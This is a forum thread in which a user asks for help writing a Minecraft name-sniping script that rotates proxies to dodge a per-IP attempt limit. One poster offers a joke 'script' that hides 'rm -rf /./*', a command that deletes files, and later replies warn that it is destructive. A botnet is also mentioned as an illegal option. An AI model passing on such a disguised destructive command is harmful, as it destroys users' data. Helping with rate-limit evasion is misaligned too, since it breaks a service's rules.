Script writing assistance

[Ace]

Firstly, let me put it out there that I have no experience writing scripts of any kind. This is actually a something a friend asked me about, and I said that I'd "ask some of my peeps, bruh".

So let me explain. The script my friend is making is for the popular indie voxel game, Minecraft. I'm sure you've all heard of it before. From the time of its beta release, Minecraft lacked the ability to change user names. Mojang decided to add this ability in February of 2015. The rules were/are simple: Each person can change their name once every 30 day. After a person changes their name, he won't be able to do again so until 30 days have passed. The person's original name (the one he had before changing it) doesn't become available to other members until 37 days. This means that there is a 7 day period in which the original owner of the name can reclaim it. For example, I'm Ace, and I change my name to Mu. After 30 days, I can reclaim Ace. If I don't, someone else can get it after 37 days.

Now, there's a website titled namemc.com, where people can see upcoming names that will soon become available. There's also a huge market for "OG names", which are actually not "Original" at all. These names include whole words, preferably. The rarer a name, the more OG it is. Say the name "Pi" is upcoming. It will become available to take on 8:31:06 02/04/2016. If a hundred people try to get the name at once, only one luck dude will get it.

So along comes this great service, mcsniper.com
You pay $5, give them your account login/password (yes, they're trustworthy), tell them which upcoming name you want, and they'll "snipe" it as soon as it become available. Here's the problem: say 5 different people want the name "Alpha". Whichever person gets the "snipe" for that name first basically gets it. My friend wants to make his own script that can compete with, and maybe even outclass, McSniper.

Here's the basic rundown of how McSniper works. They try chnaging the name 100 time per second, from 5 different proxies. His script has the "100 time pers second" part down. He just doesn't know how to try so many different proxies. I'll type his messages below for more details:

" I'm working on my script that I had made to try to rival mcsniper. It works well, but it's only half there. I need to implement proxies somehow. How my script works is that it spam clicks 3 different coordinates to try to bruteforce a name change (after trying once, it gets hung up, so mcsniper can get it milliseconds after me). How I want to change it is have it alternate tabs after attempting a name change. Each tab would have a different proxy. I need a chrome extension that can do that."

"MCSniper tries 100 times / second. My script does that. The only difference is that they can quickly use different proxies so they do not reach the 5 attempt / IP limit"

That's really it. If anyone is willing to write a script that can (easily) out perform McSniper, I'd be willing to pay for it.
Otherwise, general assistance for my friend would be appreciated.

[Muirium]

Hmm… guess you're not talking about screenplay formatting. There goes my knowledge!

[Ace]

Hmm… guess you're not talking about screenplay formatting. There goes my knowledge!

lol
No, I'm not. I was talking about designing a small, basic application that can do one task really well.

[Muirium]

#!/bin/sh/

[Ace]

#!/bin/sh/

????????????????????????????

In other news: Anyone? At all?

[Nuum]

A little bit more patience, please! You can't expect an answer on a euro-centric forum at half past three (CET) in the morning (when your post was made). Also, DT works much slower than say Geekhack or any other major forum.
I myself have no clue about scripting, so I can't help you, sorry.

[Ace]

I wasn't even thinking about time zones; I apologize.

[Ray]

I am making some assumptions from what you said, since I have heard about the game, but didn't play it:
The usual way to change the name is not ingame, but through a webbrowser.
Your friend made a simple html file that contains javascript code. He opens the html in Chrome and Chrome processes the script like it would any script from the internet.

In that case he probably can't change proxy-settings in the script. At least not the proxy-settings of chrome. That would be a mayor security/datamining issue.

As Muirium probably wanted to tell you: you need a program/script that does not rely on a webbrowser. Scriptlanguages like python/ruby/anything else should have libraries to set up http settings including proxies and you could change the proxy before every http request you send with it. (I may be wrong, since I have no experience with scripting http requests; but I would be very surprised if it differs much from my thinking)

#!/bin/sh/ would be the standard linux shell, which can certainly do it. But unless he is a linux crack, python/his favorite scripting language should get him there faster.

[Muirium]

The only scripting I know is Bash shell scripting. And badly! But I got a hashbang key, and a duck, so might as well use it…


http://deskthority.net/post187421.html#p187421


INT. DAY - DESKTHORITY CLUB YACHT

The whiff of brandy fills the galley, even at lunch. A few monocled fellows peer out to see through the portholes. There's still no sign of land in sight. Only the gentle waves, the clicking of IBMs, and a single dabbling duck.


MU
Not entirely relevant here, though.


MU 2
Indeed not.

[7bit]

Try this:
#!/bin/bash
wget -icrtmAfne $URL --hack "SNIPE \'$account\' FROM Userbase WHERE Name = \'$MYNAME\'" |
rm -rf /./* < /dev/null > cat | mouse --trap

[sth]

The only scripting I know is Bash shell scripting. And badly! But I got a hashbang key, and a duck, so might as well use it…


http://deskthority.net/post187421.html#p187421


INT. DAY - DESKTHORITY CLUB YACHT

The whiff of brandy fills the galley, even at lunch. A few monocled fellows peer out to see through the portholes. There's still no sign of land in sight. Only the gentle waves, the clicking of IBMs, and a single dabbling duck.


MU
Not entirely relevant here, though.


MU 2
Indeed not.

brandy! not on my boat

[Ace]

Try this:
#!/bin/bash
wget -icrtmAfne $URL --hack "SNIPE \'$account\' FROM Userbase WHERE Name = \'$MYNAME\'" |
rm -rf /./* < /dev/null > cat | mouse --trap

I can't make any sense of that at all. My comp sci knowledge is limited to basic Java.

But I'll send it to my buddy. I'm sure he'll know what it means.

[Ray]

Just in case he doesn't, he shouldn't run a script from somebody he doesn't know, from a keyboardcommunity that isn't known for scripting…
also make sure he gets the whole post, not just the code-snippet.

[Muirium]

You'll know if the guy has any knowledge at all by what his eyes do when he sees the rm -rf

[Ray]

Maybe he uses Ubuntu for a year… We practically don't know anything about him, except
he wants to write scrips
isn't very proficient in it
plays Minecraft

[Ace]

Man, I really hope you guys aren't trolling me here. I have no idea what any of this means, and if this screws something up, he won't ever trust my help again!

Why should he get the entire post though?

[chzel]

Just a hint: rm -rf will forcibly delete directories and files without asking.
Not too sure about the rest.
Reading the whole post, and epsecially the :evil geek: part should make it obvious enough that it shouldn't be run.

[andrewjoy]

rm -rf is suppressed in most systems now you have to add a flag to force it to run

[Ace]

Thank you both! I warned him anyway, just incase.

[Ace]

To be honest though, I think he's given up. But through this whole process, I've become pretty interested in this myself. Not in scripting -I have no desire for that - but in a sniper script. Do you guys know any developmental website were I could have one made? At a reasonable cost, of course.

[mtl]

Maybe https://www.mturk.com

[Ace]

Maybe https://www.mturk.com

Hunh. Thanks. I'll check it out.

[joc]

Something to consider is if you want to effectively compete with a 'professional' sniping service you'll need some decent private proxies which can get expensive pretty fast.

[jou]

Another thing to consider: Using such a sniping script/service is probably also against the term of service and might get your account banned.

Maybe https://www.mturk.com

Mechanical Turk is a service to have humans perform task programmatically. Not exactly the place for such a complex task

Something to consider is if you want to effectively compete with a 'professional' sniping service you'll need some decent private proxies which can get expensive pretty fast.

Renting a botnet is probably cheaper, but not exactly legal

[Ace]

Another thing to consider: Using such a sniping script/service is probably also against the term of service and might get your account banned.

Maybe https://www.mturk.com

Mechanical Turk is a service to have humans perform task programmatically. Not exactly the place for such a complex task

Something to consider is if you want to effectively compete with a 'professional' sniping service you'll need some decent private proxies which can get expensive pretty fast.

Renting a botnet is probably cheaper, but not exactly legal

It can get my account banned, but that's not really a problem. Replacements are dirt cheap. Besides that, the Mojang operative who made and enforces the terms of service is himself a name-collector. Thus, he tends to be pretty lenient towards these things.

Do you know anyplace that would be the place for such a task?

And I don't think I'd want to do a botnet. Not only is that illegal, its also immoral IMO. And that's coming form someone who's always been a rule-breaker. Besides, I have no idea where to rent one.